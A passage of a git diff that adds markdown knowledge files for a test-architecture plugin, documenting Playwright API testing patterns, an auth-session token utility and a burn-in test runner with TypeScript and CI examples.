+      await request.delete(`/api/products/${product.id}`);
+    }
+  });
+
+  test('should create order with seeded data', async ({ apiRequest }) => {
+    const { status, body } = await apiRequest({
+      method: 'POST',
+      path: '/api/orders',
+      body: {
+        userId: testUser.id,
+        items: [
+          { productId: testProducts[0].id, quantity: 2 },
+          { productId: testProducts[1].id, quantity: 1 },
+        ],
+      },
+    });
+
+    expect(status).toBe(201);
+    expect(body.userId).toBe(testUser.id);
+    expect(body.items).toHaveLength(2);
+    expect(body.total).toBe(2 * 29.99 + 49.99);
+  });
+
+  test('should list user orders', async ({ apiRequest }) => {
+    // Create an order first
+    await apiRequest({
+      method: 'POST',
+      path: '/api/orders',
+      body: {
+        userId: testUser.id,
+        items: [{ productId: testProducts[2].id, quantity: 1 }],
+      },
+    });
+
+    // List orders for user
+    const { status, body } = await apiRequest({
+      method: 'GET',
+      path: '/api/orders',
+      params: { userId: testUser.id },
+    });
+
+    expect(status).toBe(200);
+    expect(body.orders.length).toBeGreaterThanOrEqual(1);
+    expect(body.orders.every((o: any) => o.userId === testUser.id)).toBe(true);
+  });
+});
+```
+
+**Key Points**:
+
+- `beforeAll`/`afterAll` for test data setup/cleanup
+- API-based seeding (no direct DB access needed)
+- Unique emails to prevent conflicts in parallel runs
+- Cleanup after all tests complete
+
+### Example 6: Background Job Testing with Recurse
+
+**Context**: Test async operations like background jobs, webhooks, and eventual consistency.
+
+**Implementation**:
+
+```typescript
+// tests/api/background-jobs.spec.ts
+import { test, expect } from '@seontechnologies/playwright-utils/fixtures';
+
+test.describe('Background Jobs', () => {
+  test('should process export job', async ({ apiRequest, recurse }) => {
+    // Trigger export job
+    const { body: job } = await apiRequest({
+      method: 'POST',
+      path: '/api/exports',
+      body: {
+        type: 'users',
+        format: 'csv',
+        filters: { createdAfter: '2024-01-01' },
+      },
+    });
+
+    expect(job.id).toBeDefined();
+    expect(job.status).toBe('pending');
+
+    // Poll until job completes
+    const { body: completedJob } = await recurse(
+      () => apiRequest({ method: 'GET', path: `/api/exports/${job.id}` }),
+      (response) => response.body.status === 'completed',
+      {
+        timeout: 60000,
+        interval: 2000,
+        log: `Waiting for export job ${job.id} to complete`,
+      },
+    );
+
+    expect(completedJob.status).toBe('completed');
+    expect(completedJob.downloadUrl).toBeDefined();
+    expect(completedJob.recordCount).toBeGreaterThan(0);
+  });
+
+  test('should handle job failure gracefully', async ({ apiRequest, recurse }) => {
+    // Trigger job that will fail
+    const { body: job } = await apiRequest({
+      method: 'POST',
+      path: '/api/exports',
+      body: {
+        type: 'invalid-type', // This will cause failure
+        format: 'csv',
+      },
+    });
+
+    // Poll until job fails
+    const { body: failedJob } = await recurse(
+      () => apiRequest({ method: 'GET', path: `/api/exports/${job.id}` }),
+      (response) => ['completed', 'failed'].includes(response.body.status),
+      { timeout: 30000 },
+    );
+
+    expect(failedJob.status).toBe('failed');
+    expect(failedJob.error).toBeDefined();
+    expect(failedJob.error.code).toBe('INVALID_EXPORT_TYPE');
+  });
+
+  test('should process webhook delivery', async ({ apiRequest, recurse }) => {
+    // Trigger action that sends webhook
+    const { body: order } = await apiRequest({
+      method: 'POST',
+      path: '/api/orders',
+      body: {
+        userId: 'user-123',
+        items: [{ productId: 'prod-1', quantity: 1 }],
+        webhookUrl: 'https://webhook.site/test-endpoint',
+      },
+    });
+
+    // Poll for webhook delivery status
+    const { body: webhookStatus } = await recurse(
+      () => apiRequest({ method: 'GET', path: `/api/webhooks/order/${order.id}` }),
+      (response) => response.body.delivered === true,
+      { timeout: 30000, interval: 1000 },
+    );
+
+    expect(webhookStatus.delivered).toBe(true);
+    expect(webhookStatus.deliveredAt).toBeDefined();
+    expect(webhookStatus.responseStatus).toBe(200);
+  });
+});
+```
+
+**Key Points**:
+
+- `recurse` for polling async operations
+- Test both success and failure scenarios
+- Configurable timeout and interval
+- Log messages for debugging
+
+### Example 7: Service Authentication (No Browser)
+
+**Context**: Test authenticated API endpoints using tokens directly - no browser login needed.
+
+**Implementation**:
+
+```typescript
+// tests/api/authenticated.spec.ts
+import { test, expect } from '@seontechnologies/playwright-utils/fixtures';
+
+test.describe('Authenticated API Tests', () => {
+  let authToken: string;
+
+  test.beforeAll(async ({ request }) => {
+    // Get token via API (no browser!)
+    const response = await request.post('/api/auth/login', {
+      data: {
+        email: process.env.TEST_USER_EMAIL,
+        password: process.env.TEST_USER_PASSWORD,
+      },
+    });
+
+    const { token } = await response.json();
+    authToken = token;
+  });
+
+  test('should access protected endpoint with token', async ({ apiRequest }) => {
+    const { status, body } = await apiRequest({
+      method: 'GET',
+      path: '/api/me',
+      headers: {
+        Authorization: `Bearer ${authToken}`,
+      },
+    });
+
+    expect(status).toBe(200);
+    expect(body.email).toBe(process.env.TEST_USER_EMAIL);
+  });
+
+  test('should reject request without token', async ({ apiRequest }) => {
+    const { status, body } = await apiRequest({
+      method: 'GET',
+      path: '/api/me',
+      // No Authorization header
+    });
+
+    expect(status).toBe(401);
+    expect(body.code).toBe('UNAUTHORIZED');
+  });
+
+  test('should reject expired token', async ({ apiRequest }) => {
+    const expiredToken = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...'; // Expired token
+
+    const { status, body } = await apiRequest({
+      method: 'GET',
+      path: '/api/me',
+      headers: {
+        Authorization: `Bearer ${expiredToken}`,
+      },
+    });
+
+    expect(status).toBe(401);
+    expect(body.code).toBe('TOKEN_EXPIRED');
+  });
+
+  test('should handle role-based access', async ({ apiRequest }) => {
+    // User token (non-admin)
+    const { status } = await apiRequest({
+      method: 'GET',
+      path: '/api/admin/users',
+      headers: {
+        Authorization: `Bearer ${authToken}`,
+      },
+    });
+
+    expect(status).toBe(403); // Forbidden for non-admin
+  });
+});
+```
+
+**Key Points**:
+
+- Token obtained via API login (no browser)
+- Token reused across all tests in describe block
+- Test auth, expired tokens, and RBAC
+- Pure API testing without UI
+
+### Example 8: Operation-Based API Testing (OpenAPI / Code Generators)
+
+**Context**: When your project uses code-generated operation definitions from an OpenAPI spec, leverage the operation-based overload of `apiRequest` (v3.14.0+) instead of manual `method`/`path` extraction. This eliminates `typeof` assertions and provides full type inference for request body, response, and query parameters.
+
+**Implementation**:
+
+```typescript
+// tests/api/operations.spec.ts
+import { test, expect } from '@seontechnologies/playwright-utils/api-request/fixtures';
+
+test.describe('API Tests with Generated Operations', () => {
+  test('should create entity with full type safety', async ({ apiRequest }) => {
+    // Operation object from code generator — contains path, method, and type info
+    const { status, body } = await apiRequest({
+      operation: createEntityOp({ workspaceId }),
+      headers: getHeaders(workspaceId),
+      body: entityInput, // Compile-time typed from operation.request
+    });
+
+    expect(status).toBe(201);
+    expect(body.id).toBeDefined(); // body typed from operation.response
+  });
+
+  test('should list with typed query parameters', async ({ apiRequest }) => {
+    // query field replaces manual string concatenation
+    const { body } = await apiRequest({
+      operation: listEntitiesOp({ workspaceId }),
+      headers: getHeaders(workspaceId),
+      query: { page: 0, page_size: 10, status: 'active' },
+    });
+
+    expect(body.items).toHaveLength(10);
+    expect(body.total).toBeGreaterThan(10);
+  });
+
+  test('should poll async operation until complete', async ({ apiRequest, recurse }) => {
+    const { body: job } = await apiRequest({
+      operation: startJobOp({ workspaceId }),
+      headers: getHeaders(workspaceId),
+      body: { type: 'export' },
+    });
+
+    await recurse(
+      async () =>
+        apiRequest({
+          operation: getJobOp({ workspaceId, jobId: job.id }),
+          headers: getHeaders(workspaceId),
+        }),
+      (res) => res.body.status === 'completed',
+      { timeout: 60000, interval: 2000 },
+    );
+  });
+});
+```
+
+**Key Points**:
+
+- `operation` replaces `method` + `path` — mutually exclusive at compile time
+- Types for body, response, and query all inferred from the operation definition
+- Works with any code generator using structural typing (no imports from playwright-utils needed in generator)
+- Composable with `recurse`, `validateSchema`, and all existing `apiRequest` features
+- Preferred approach over `typeof operation.response` for generated operations
+
+## API Test Configuration
+
+### Playwright Config for API-Only Tests
+
+```typescript
+// playwright.config.ts
+import { defineConfig } from '@playwright/test';
+
+export default defineConfig({
+  testDir: './tests/api',
+
+  // No browser needed for API tests
+  use: {
+    baseURL: process.env.API_URL || 'http://localhost:3000',
+    extraHTTPHeaders: {
+      Accept: 'application/json',
+      'Content-Type': 'application/json',
+    },
+  },
+
+  // Faster without browser overhead
+  timeout: 30000,
+
+  // Run API tests in parallel
+  workers: 4,
+  fullyParallel: true,
+
+  // No screenshots/traces needed for API tests
+  reporter: [['html'], ['json', { outputFile: 'api-test-results.json' }]],
+});
+```
+
+### Separate API Test Project
+
+```typescript
+// playwright.config.ts
+export default defineConfig({
+  projects: [
+    {
+      name: 'api',
+      testDir: './tests/api',
+      use: {
+        baseURL: process.env.API_URL,
+      },
+    },
+    {
+      name: 'e2e',
+      testDir: './tests/e2e',
+      use: {
+        baseURL: process.env.APP_URL,
+        ...devices['Desktop Chrome'],
+      },
+    },
+  ],
+});
+```
+
+## Comparison: API Tests vs E2E Tests
+
+| Aspect              | API Test               | E2E Test                    |
+| ------------------- | ---------------------- | --------------------------- |
+| **Speed**           | ~50-100ms per test     | ~2-10s per test             |
+| **Stability**       | Very stable            | More flaky (UI timing)      |
+| **Setup**           | Minimal                | Browser, context, page      |
+| **Debugging**       | Clear request/response | DOM, screenshots, traces    |
+| **Coverage**        | Service logic          | User experience             |
+| **Parallelization** | Easy (stateless)       | Complex (browser resources) |
+| **CI Cost**         | Low (no browser)       | High (browser containers)   |
+
+## Related Fragments
+
+- `api-request.md` - apiRequest utility details
+- `recurse.md` - Polling patterns for async operations
+- `auth-session.md` - Token management
+- `contract-testing.md` - Pact contract testing
+- `test-levels-framework.md` - When to use which test level
+- `data-factories.md` - Test data setup patterns
+
+## Anti-Patterns
+
+**DON'T use E2E for API validation:**
+
+```typescript
+// Bad: Testing API through UI
+test('validate user creation', async ({ page }) => {
+  await page.goto('/admin/users');
+  await page.fill('#name', 'John');
+  await page.click('#submit');
+  await expect(page.getByText('User created')).toBeVisible();
+});
+```
+
+**DO test APIs directly:**
+
+```typescript
+// Good: Direct API test
+test('validate user creation', async ({ apiRequest }) => {
+  const { status, body } = await apiRequest({
+    method: 'POST',
+    path: '/api/users',
+    body: { name: 'John' },
+  });
+  expect(status).toBe(201);
+  expect(body.id).toBeDefined();
+});
+```
+
+**DON'T ignore API tests because "E2E covers it":**
+
+```typescript
+// Bad thinking: "Our E2E tests create users, so API is tested"
+// Reality: E2E tests one happy path; API tests cover edge cases
+```
+
+**DO have dedicated API test coverage:**
+
+```typescript
+// Good: Explicit API test suite
+test.describe('Users API', () => {
+  test('creates user', async ({ apiRequest }) => {
+    /* ... */
+  });
+  test('handles duplicate email', async ({ apiRequest }) => {
+    /* ... */
+  });
+  test('validates required fields', async ({ apiRequest }) => {
+    /* ... */
+  });
+  test('handles malformed JSON', async ({ apiRequest }) => {
+    /* ... */
+  });
+  test('rate limits requests', async ({ apiRequest }) => {
+    /* ... */
+  });
+});
+```
diff --git a/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/auth-session.md b/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/auth-session.md
new file mode 100644
index 0000000..905472f
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/auth-session.md
@@ -0,0 +1,548 @@
+# Auth Session Utility
+
+## Principle
+
+Persist authentication tokens to disk and reuse across test runs. Support multiple user identifiers, ephemeral authentication, and worker-specific accounts for parallel execution. Fetch tokens once, use everywhere. **Works for both API-only tests and browser tests.**
+
+## Rationale
+
+Playwright's built-in authentication works but has limitations:
+
+- Re-authenticates for every test run (slow)
+- Single user per project setup
+- No token expiration handling
+- Manual session management
+- Complex setup for multi-user scenarios
+
+The `auth-session` utility provides:
+
+- **Token persistence**: Authenticate once, reuse across runs
+- **Multi-user support**: Different user identifiers in same test suite
+- **Ephemeral auth**: On-the-fly user authentication without disk persistence
+- **Worker-specific accounts**: Parallel execution with isolated user accounts
+- **Automatic token management**: Checks validity, renews if expired
+- **Flexible provider pattern**: Adapt to any auth system (OAuth2, JWT, custom)
+- **API-first design**: Get tokens for API tests without browser overhead
+
+## Pattern Examples
+
+### Example 1: Basic Auth Session Setup
+
+**Context**: Configure global authentication that persists across test runs.
+
+**Implementation**:
+
+```typescript
+// Step 1: Configure in global-setup.ts
+import { authStorageInit, setAuthProvider, configureAuthSession, authGlobalInit } from '@seontechnologies/playwright-utils/auth-session';
+import myCustomProvider from './auth/custom-auth-provider';
+
+async function globalSetup() {
+  // Ensure storage directories exist
+  authStorageInit();
+
+  // Configure storage path
+  configureAuthSession({
+    authStoragePath: process.cwd() + '/playwright/auth-sessions',
+    debug: true,
+  });
+
+  // Set custom provider (HOW to authenticate)
+  setAuthProvider(myCustomProvider);
+
+  // Optional: pre-fetch token for default user
+  await authGlobalInit();
+}
+
+export default globalSetup;
+
+// Step 2: Create auth fixture
+import { test as base } from '@playwright/test';
+import { createAuthFixtures, setAuthProvider } from '@seontechnologies/playwright-utils/auth-session';
+import myCustomProvider from './custom-auth-provider';
+
+// Register provider early
+setAuthProvider(myCustomProvider);
+
+export const test = base.extend(createAuthFixtures());
+
+// Step 3: Use in tests
+test('authenticated request', async ({ authToken, request }) => {
+  const response = await request.get('/api/protected', {
+    headers: { Authorization: `Bearer ${authToken}` },
+  });
+
+  expect(response.ok()).toBeTruthy();
+});
+```
+
+**Key Points**:
+
+- Global setup runs once before all tests
+- Token fetched once, reused across all tests
+- Custom provider defines your auth mechanism
+- Order matters: configure, then setProvider, then init
+
+### Example 2: Multi-User Authentication
+
+**Context**: Testing with different user roles (admin, regular user, guest) in same test suite.
+
+**Implementation**:
+
+```typescript
+import { test } from '../support/auth/auth-fixture';
+
+// Option 1: Per-test user override
+test('admin actions', async ({ authToken, authOptions }) => {
+  // Override default user
+  authOptions.userIdentifier = 'admin';
+
+  const { authToken: adminToken } = await test.step('Get admin token', async () => {
+    return { authToken }; // Re-fetches with new identifier
+  });
+
+  // Use admin token
+  const response = await request.get('/api/admin/users', {
+    headers: { Authorization: `Bearer ${adminToken}` },
+  });
+});
+
+// Option 2: Parallel execution with different users
+test.describe.parallel('multi-user tests', () => {
+  test('user 1 actions', async ({ authToken }) => {
+    // Uses default user (e.g., 'user1')
+  });
+
+  test('user 2 actions', async ({ authToken, authOptions }) => {
+    authOptions.userIdentifier = 'user2';
+    // Uses different token for user2
+  });
+});
+```
+
+**Key Points**:
+
+- Override `authOptions.userIdentifier` per test
+- Tokens cached separately per user identifier
+- Parallel tests isolated with different users
+- Worker-specific accounts possible
+
+### Example 3: Ephemeral User Authentication
+
+**Context**: Create temporary test users that don't persist to disk (e.g., testing user creation flow).
+
+**Implementation**:
+
+```typescript
+import { applyUserCookiesToBrowserContext } from '@seontechnologies/playwright-utils/auth-session';
+import { createTestUser } from '../utils/user-factory';
+
+test('ephemeral user test', async ({ context, page }) => {
+  // Create temporary user (not persisted)
+  const ephemeralUser = await createTestUser({
+    role: 'admin',
+    permissions: ['delete-users'],
+  });
+
+  // Apply auth directly to browser context
+  await applyUserCookiesToBrowserContext(context, ephemeralUser);
+
+  // Page now authenticated as ephemeral user
+  await page.goto('/admin/users');
+
+  await expect(page.getByTestId('delete-user-btn')).toBeVisible();
+
+  // User and token cleaned up after test
+});
+```
+
+**Key Points**:
+
+- No disk persistence (ephemeral)
+- Apply cookies directly to context
+- Useful for testing user lifecycle
+- Clean up automatic when test ends
+
+### Example 4: Testing Multiple Users in Single Test
+
+**Context**: Testing interactions between users (messaging, sharing, collaboration features).
+
+**Implementation**:
+
+```typescript
+test('user interaction', async ({ browser }) => {
+  // User 1 context
+  const user1Context = await browser.newContext({
+    storageState: './auth-sessions/local/user1/storage-state.json',
+  });
+  const user1Page = await user1Context.newPage();
+
+  // User 2 context
+  const user2Context = await browser.newContext({
+    storageState: './auth-sessions/local/user2/storage-state.json',
+  });
+  const user2Page = await user2Context.newPage();
+
+  // User 1 sends message
+  await user1Page.goto('/messages');
+  await user1Page.fill('#message', 'Hello from user 1');
+  await user1Page.click('#send');
+
+  // User 2 receives message
+  await user2Page.goto('/messages');
+  await expect(user2Page.getByText('Hello from user 1')).toBeVisible();
+
+  // Cleanup
+  await user1Context.close();
+  await user2Context.close();
+});
+```
+
+**Key Points**:
+
+- Each user has separate browser context
+- Reference storage state files directly
+- Test real-time interactions
+- Clean up contexts after test
+
+### Example 5: Worker-Specific Accounts (Parallel Testing)
+
+**Context**: Running tests in parallel with isolated user accounts per worker to avoid conflicts.
+
+**Implementation**:
+
+```typescript
+// playwright.config.ts
+export default defineConfig({
+  workers: 4, // 4 parallel workers
+  use: {
+    // Each worker uses different user
+    storageState: async ({}, use, testInfo) => {
+      const workerIndex = testInfo.workerIndex;
+      const userIdentifier = `worker-${workerIndex}`;
+
+      await use(`./auth-sessions/local/${userIdentifier}/storage-state.json`);
+    },
+  },
+});
+
+// Tests run in parallel, each worker with its own user
+test('parallel test 1', async ({ page }) => {
+  // Worker 0 uses worker-0 account
+  await page.goto('/dashboard');
+});
+
+test('parallel test 2', async ({ page }) => {
+  // Worker 1 uses worker-1 account
+  await page.goto('/dashboard');
+});
+```
+
+**Key Points**:
+
+- Each worker has isolated user account
+- No conflicts in parallel execution
+- Token management automatic per worker
+- Scales to any number of workers
+
+### Example 6: Pure API Authentication (No Browser)
+
+**Context**: Get auth tokens for API-only tests using auth-session disk persistence.
+
+**Implementation**:
+
+```typescript
+// Step 1: Create API-only auth provider (no browser needed)
+// playwright/support/api-auth-provider.ts
+import { type AuthProvider } from '@seontechnologies/playwright-utils/auth-session';
+
+const apiAuthProvider: AuthProvider = {
+  getEnvironment: (options) => options.environment || 'local',
+  getUserIdentifier: (options) => options.userIdentifier || 'api-user',
+
+  extractToken: (storageState) => {
+    // Token stored in localStorage format for disk persistence
+    const tokenEntry = storageState.origins?.[0]?.localStorage?.find((item) => item.name === 'auth_token');
+    return tokenEntry?.value;
+  },
+
+  isTokenExpired: (storageState) => {
+    const expiryEntry = storageState.origins?.[0]?.localStorage?.find((item) => item.name === 'token_expiry');
+    if (!expiryEntry) return true;
+    return Date.now() > parseInt(expiryEntry.value, 10);
+  },
+
+  manageAuthToken: async (request, options) => {
+    const email = process.env.TEST_USER_EMAIL;
+    const password = process.env.TEST_USER_PASSWORD;
+
+    if (!email || !password) {
+      throw new Error('TEST_USER_EMAIL and TEST_USER_PASSWORD must be set');
+    }
+
+    // Pure API login - no browser!
+    const response = await request.post('/api/auth/login', {
+      data: { email, password },
+    });
+
+    if (!response.ok()) {
+      throw new Error(`Auth failed: ${response.status()}`);
+    }
+
+    const { token, expiresIn } = await response.json();
+    const expiryTime = Date.now() + expiresIn * 1000;
+
+    // Return storage state format for disk persistence
+    return {
+      cookies: [],
+      origins: [
+        {
+          origin: process.env.API_BASE_URL || 'http://localhost:3000',
+          localStorage: [
+            { name: 'auth_token', value: token },
+            { name: 'token_expiry', value: String(expiryTime) },
+          ],
+        },
+      ],
+    };
+  },
+};
+
+export default apiAuthProvider;
+
+// Step 2: Create auth fixture
+// playwright/support/fixtures.ts
+import { test as base } from '@playwright/test';
+import { createAuthFixtures, setAuthProvider } from '@seontechnologies/playwright-utils/auth-session';
+import apiAuthProvider from './api-auth-provider';
+
+setAuthProvider(apiAuthProvider);
+
+export const test = base.extend(createAuthFixtures());
+
+// Step 3: Use in tests - token persisted to disk!
+// tests/api/authenticated-api.spec.ts
+import { test } from '../support/fixtures';
+import { expect } from '@playwright/test';
+
+test('should access protected endpoint', async ({ authToken, apiRequest }) => {
+  // authToken is automatically loaded from disk or fetched if expired
+  const { status, body } = await apiRequest({
+    method: 'GET',
+    path: '/api/me',
+    headers: { Authorization: `Bearer ${authToken}` },
+  });
+
+  expect(status).toBe(200);
+});
+
+test('should create resource with auth', async ({ authToken, apiRequest }) => {
+  const { status, body } = await apiRequest({
+    method: 'POST',
+    path: '/api/orders',
+    headers: { Authorization: `Bearer ${authToken}` },
+    body: { items: [{ productId: 'prod-1', quantity: 2 }] },
+  });
+
+  expect(status).toBe(201);
+  expect(body.id).toBeDefined();
+});
+```
+
+**Key Points**:
+
+- Token persisted to disk (not in-memory) - survives test reruns
+- Provider fetches token once, reuses until expired
+- Pure API authentication - no browser context needed
+- `authToken` fixture handles disk read/write automatically
+- Environment variables validated with clear error message
+
+### Example 7: Service-to-Service Authentication
+
+**Context**: Test microservice authentication patterns (API keys, service tokens) with proper environment validation.
+
+**Implementation**:
+
+```typescript
+// tests/api/service-auth.spec.ts
+import { test as base, expect } from '@playwright/test';
+import { test as apiFixture } from '@seontechnologies/playwright-utils/api-request/fixtures';
+import { mergeTests } from '@playwright/test';
+
+// Validate environment variables at module load
+const SERVICE_API_KEY = process.env.SERVICE_API_KEY;
+const INTERNAL_SERVICE_URL = process.env.INTERNAL_SERVICE_URL;
+
+if (!SERVICE_API_KEY) {
+  throw new Error('SERVICE_API_KEY environment variable is required');
+}
+if (!INTERNAL_SERVICE_URL) {
+  throw new Error('INTERNAL_SERVICE_URL environment variable is required');
+}
+
+const test = mergeTests(base, apiFixture);
+
+test.describe('Service-to-Service Auth', () => {
+  test('should authenticate with API key', async ({ apiRequest }) => {
+    const { status, body } = await apiRequest({
+      method: 'GET',
+      path: '/internal/health',
+      baseUrl: INTERNAL_SERVICE_URL,
+      headers: { 'X-API-Key': SERVICE_API_KEY },
+    });
+
+    expect(status).toBe(200);
+    expect(body.status).toBe('healthy');
+  });
+
+  test('should reject invalid API key', async ({ apiRequest }) => {
+    const { status, body } = await apiRequest({
+      method: 'GET',
+      path: '/internal/health',
+      baseUrl: INTERNAL_SERVICE_URL,
+      headers: { 'X-API-Key': 'invalid-key' },
+    });
+
+    expect(status).toBe(401);
+    expect(body.code).toBe('INVALID_API_KEY');
+  });
+
+  test('should call downstream service with propagated auth', async ({ apiRequest }) => {
+    const { status, body } = await apiRequest({
+      method: 'POST',
+      path: '/internal/aggregate-data',
+      baseUrl: INTERNAL_SERVICE_URL,
+      headers: {
+        'X-API-Key': SERVICE_API_KEY,
+        'X-Request-ID': `test-${Date.now()}`,
+      },
+      body: { sources: ['users', 'orders', 'inventory'] },
+    });
+
+    expect(status).toBe(200);
+    expect(body.aggregatedFrom).toHaveLength(3);
+  });
+});
+```
+
+**Key Points**:
+
+- Environment variables validated at module load with clear errors
+- API key authentication (simpler than OAuth - no disk persistence needed)
+- Test internal/service endpoints
+- Validate auth rejection scenarios
+- Correlation ID for request tracing
+
+> **Note**: API keys are typically static secrets that don't expire, so disk persistence (auth-session) isn't needed. For rotating service tokens, use the auth-session provider pattern from Example 6.
+
+## Custom Auth Provider Pattern
+
+**Context**: Adapt auth-session to your authentication system (OAuth2, JWT, SAML, custom).
+
+**Minimal provider structure**:
+
+```typescript
+import { type AuthProvider } from '@seontechnologies/playwright-utils/auth-session';
+
+const myCustomProvider: AuthProvider = {
+  getEnvironment: (options) => options.environment || 'local',
+
+  getUserIdentifier: (options) => options.userIdentifier || 'default-user',
+
+  extractToken: (storageState) => {
+    // Extract token from your storage format
+    return storageState.cookies.find((c) => c.name === 'auth_token')?.value;
+  },
+
+  extractCookies: (tokenData) => {
+    // Convert token to cookies for browser context
+    return [
+      {
+        name: 'auth_token',
+        value: tokenData,
+        domain: 'example.com',
+        path: '/',
+        httpOnly: true,
+        secure: true,
+      },
+    ];
+  },
+
+  isTokenExpired: (storageState) => {
+    // Check if token is expired
+    const expiresAt = storageState.cookies.find((c) => c.name === 'expires_at');
+    return Date.now() > parseInt(expiresAt?.value || '0');
+  },
+
+  manageAuthToken: async (request, options) => {
+    // Main token acquisition logic
+    // Return storage state with cookies/localStorage
+  },
+};
+
+export default myCustomProvider;
+```
+
+## Integration with API Request
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/fixtures';
+
+test('authenticated API call', async ({ apiRequest, authToken }) => {
+  const { status, body } = await apiRequest({
+    method: 'GET',
+    path: '/api/protected',
+    headers: { Authorization: `Bearer ${authToken}` },
+  });
+
+  expect(status).toBe(200);
+});
+```
+
+## Related Fragments
+
+- `api-testing-patterns.md` - Pure API testing patterns (no browser)
+- `overview.md` - Installation and fixture composition
+- `api-request.md` - Authenticated API requests
+- `fixtures-composition.md` - Merging auth with other utilities
+
+## Anti-Patterns
+
+**❌ Calling setAuthProvider after globalSetup:**
+
+```typescript
+async function globalSetup() {
+  configureAuthSession(...)
+  await authGlobalInit()  // Provider not set yet!
+  setAuthProvider(provider)  // Too late
+}
+```
+
+**✅ Register provider before init:**
+
+```typescript
+async function globalSetup() {
+  authStorageInit()
+  configureAuthSession(...)
+  setAuthProvider(provider)  // First
+  await authGlobalInit()     // Then init
+}
+```
+
+**❌ Hardcoding storage paths:**
+
+```typescript
+const storageState = './auth-sessions/local/user1/storage-state.json'; // Brittle
+```
+
+**✅ Use helper functions:**
+
+```typescript
+import { getTokenFilePath } from '@seontechnologies/playwright-utils/auth-session';
+
+const tokenPath = getTokenFilePath({
+  environment: 'local',
+  userIdentifier: 'user1',
+  tokenFileName: 'storage-state.json',
+});
+```
diff --git a/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/burn-in.md b/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/burn-in.md
new file mode 100644
index 0000000..d8b9f9e
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/burn-in.md
@@ -0,0 +1,273 @@
+# Burn-in Test Runner
+
+## Principle
+
+Use smart test selection with git diff analysis to run only affected tests. Filter out irrelevant changes (configs, types, docs) and control test volume with percentage-based execution. Reduce unnecessary CI runs while maintaining reliability.
+
+## Rationale
+
+Playwright's `--only-changed` triggers all affected tests:
+
+- Config file changes trigger hundreds of tests
+- Type definition changes cause full suite runs
+- No volume control (all or nothing)
+- Slow CI pipelines
+
+The `burn-in` utility provides:
+
+- **Smart filtering**: Skip patterns for irrelevant files (configs, types, docs)
+- **Volume control**: Run percentage of affected tests after filtering
+- **Custom dependency analysis**: More accurate than Playwright's built-in
+- **CI optimization**: Faster pipelines without sacrificing confidence
+- **Process of elimination**: Start with all → filter irrelevant → control volume
+
+## Pattern Examples
+
+### Example 1: Basic Burn-in Setup
+
+**Context**: Run burn-in on changed files compared to main branch.
+
+**Implementation**:
+
+```typescript
+// Step 1: Create burn-in script
+// playwright/scripts/burn-in-changed.ts
+import { runBurnIn } from '@seontechnologies/playwright-utils/burn-in'
+
+async function main() {
+  await runBurnIn({
+    configPath: 'playwright/config/.burn-in.config.ts',
+    baseBranch: 'main'
+  })
+}
+
+main().catch(console.error)
+
+// Step 2: Create config
+// playwright/config/.burn-in.config.ts
+import type { BurnInConfig } from '@seontechnologies/playwright-utils/burn-in'
+
+const config: BurnInConfig = {
+  // Files that never trigger tests (first filter)
+  skipBurnInPatterns: [
+    '**/config/**',
+    '**/*constants*',
+    '**/*types*',
+    '**/*.md',
+    '**/README*'
+  ],
+
+  // Run 30% of remaining tests after skip filter
+  burnInTestPercentage: 0.3,
+
+  // Burn-in repetition
+  burnIn: {
+    repeatEach: 3,  // Run each test 3 times
+    retries: 1      // Allow 1 retry
+  }
+}
+
+export default config
+
+// Step 3: Add package.json script
+{
+  "scripts": {
+    "test:pw:burn-in-changed": "tsx playwright/scripts/burn-in-changed.ts"
+  }
+}
+```
+
+**Key Points**:
+
+- Two-stage filtering: skip patterns, then volume control
+- `skipBurnInPatterns` eliminates irrelevant files
+- `burnInTestPercentage` controls test volume (0.3 = 30%)
+- Custom dependency analysis finds actually affected tests
+
+### Example 2: CI Integration
+
+**Context**: Use burn-in in GitHub Actions for efficient CI runs.
+
+**Implementation**:
+
+```yaml
+# .github/workflows/burn-in.yml
+name: Burn-in Changed Tests
+
+on:
+  pull_request:
+    branches: [main]
+
+jobs:
+  burn-in:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+        with:
+          fetch-depth: 0 # Need git history
+
+      - name: Setup Node
+        uses: actions/setup-node@v4
+
+      - name: Install dependencies
+        run: npm ci
+
+      - name: Run burn-in on changed tests
+        run: npm run test:pw:burn-in-changed -- --base-branch=origin/main
+
+      - name: Upload artifacts
+        if: failure()
+        uses: actions/upload-artifact@v4
+        with:
+          name: burn-in-failures
+          path: test-results/
+```
+
+**Key Points**:
+
+- `fetch-depth: 0` for full git history
+- Pass `--base-branch=origin/main` for PR comparison
+- Upload artifacts only on failure
+- Significantly faster than full suite
+
+### Example 3: How It Works (Process of Elimination)
+
+**Context**: Understanding the filtering pipeline.
+
+**Scenario:**
+
+```
+Git diff finds: 21 changed files
+├─ Step 1: Skip patterns filter
+│  Removed: 6 files (*.md, config/*, *types*)
+│  Remaining: 15 files
+│
+├─ Step 2: Dependency analysis
+│  Tests that import these 15 files: 45 tests
+│
+└─ Step 3: Volume control (30%)
+   Final tests to run: 14 tests (30% of 45)
+
+Result: Run 14 targeted tests instead of 147 with --only-changed!
+```
+
+**Key Points**:
+
+- Three-stage pipeline: skip → analyze → control
+- Custom dependency analysis (not just imports)
+- Percentage applies AFTER filtering
+- Dramatically reduces CI time
+
+### Example 4: Environment-Specific Configuration
+
+**Context**: Different settings for local vs CI environments.
+
+**Implementation**:
+
+```typescript
+import type { BurnInConfig } from '@seontechnologies/playwright-utils/burn-in';
+
+const config: BurnInConfig = {
+  skipBurnInPatterns: ['**/config/**', '**/*types*', '**/*.md'],
+
+  // CI runs fewer iterations, local runs more
+  burnInTestPercentage: process.env.CI ? 0.2 : 0.3,
+
+  burnIn: {
+    repeatEach: process.env.CI ? 2 : 3,
+    retries: process.env.CI ? 0 : 1, // No retries in CI
+  },
+};
+
+export default config;
+```
+
+**Key Points**:
+
+- `process.env.CI` for environment detection
+- Lower percentage in CI (20% vs 30%)
+- Fewer iterations in CI (2 vs 3)
+- No retries in CI (fail fast)
+
+### Example 5: Sharding Support
+
+**Context**: Distribute burn-in tests across multiple CI workers.
+
